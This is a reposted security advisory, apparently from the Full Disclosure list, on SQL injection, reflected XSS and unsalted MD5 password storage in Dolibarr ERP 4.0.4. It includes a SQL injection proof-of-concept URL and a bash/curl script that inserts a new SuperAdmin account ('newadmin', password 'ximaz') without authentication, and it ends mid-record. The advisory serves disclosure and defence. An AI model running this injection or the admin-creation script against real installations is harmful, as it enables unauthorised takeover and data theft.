[FD] [FOXMOLE SA 2017-02-23] Dolibarr ERP & CRM - Multiple Issues

=== FOXMOLE - Security Advisory 2017-02-23 === Dolibarr ERP & CRM - Multiple Issues ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Affected Versions ================= Dolibarr 4.0.4 Issue Overview ============== Vulnerability Type: SQL Injection, Cross Site Scripting, Weak Hash Algorithm without Salt, Weak Password Change Method Technical Risk: critical Likelihood of Exploitation: medium Vendor: Dolibarr Vendor URL: http://ift.tt/1SLkKIl Credits: FOXMOLE employees Tim Herres and Stefan Pietsch Advisory URL: http://ift.tt/2qqXfxh Advisory Status: Public OVE-ID: OVE-20170223-0001 CVE Number: CVE-2017-7886, CVE-2017-7887, CVE-2017-7888 CVE URL: http://ift.tt/2r1u1SS http://ift.tt/2qqZzUY http://ift.tt/2r1u2pU CWE-ID: CWE-79, CWE-89, CWE-327, CWE-620, CWE-759 CVSS 2.0: 10.0 (AV:N/AC:L/Au:N/C:C/I:C/A:C) Impact ====== There are SQL injection vulnerabilities, exploitable without authentication. An attacker could use the SQL Injection to access the database in an unsafe way. This means there is a high impact to all Dolibarr installations. The passwords in the database are stored as MD5 hashes which means they are easily crackable. The Dolibarr software also lacks input validation resulting in different reflected XSS vulnerabilities. Information =========== We only provide examples for issues, there are quite more. It is really important to check the whole application for further vulnerabilities. We want that developers change the overall security according to security best practices instead of fixing only particular issues. Issue Description ================= All items tested using FF52. 1.) SQL Injection in style.css.php (CVE-2017-7886) Authentication Required:No PoC: http://ift.tt/2qrjWBL(extractvalue(rand()%2cconcat(concat(0x3a,CURRENT_USER())))%2c1)--%201 PoC creating a new admin user via SQL Injection: ################################################################################## #!/bin/bash URL="http://ift.tt/2r1jkj7\ llx_user%20VALUES%20(424242%2C%200%2C%20NULL%2C%20NULL%2C%201%2C%200%2C%20%27\ 1984-01-01%2000%3A00%3A00%27%2C%20%271984-01-01%2000%3A00%3A00.000%27%2C%20NULL\ %2C%20NULL%2C%20%27newadmin%27%2C%20NULL%2C%20%2761529519452809720693702583126814\ %27%2C%20NULL%2C%20NULL%2C%20%27%27%2C%20NULL%2C%20%27SuperAdmin%27%2C%20%27%27\ %2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%20NULL%2C%20NULL%2C%20%27%27%2C%20%27\ %27%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%201%2C%201%2C\ %201%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20%27%27%2C%20%27\ 2017-03-10%2000%3A00%3A00%27%2C%20%272017-03-10%2000%3A00%3A00%27%2C%20NULL%2C\ %20%27%27%2C%20NULL%2C%201%2C%20NULL%2C%20NULL%2C%20%27%27%2C%20NULL%2C%200%2C\ %20%27%27%2C%200%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL)%3B--%27" curl -s ${URL} ################################################################################## The script creates the user 'NEWADMIN' with password 'ximaz'. 2.) Cross Site Scripting Reflected (CVE-2017-7887) http://ift.tt/2q747Nm 3.) Passwords stored using MD5 hashes (CVE-2017-7888) The application stored the passwords using the MD5 hash algorithm without a salt. The MD5 hash is easily crackable. dolibarr=# SELECT login,pass_crypted FROM llx_user; login | pass_crypted

Source: Gmail -> IFTTT-> Blogger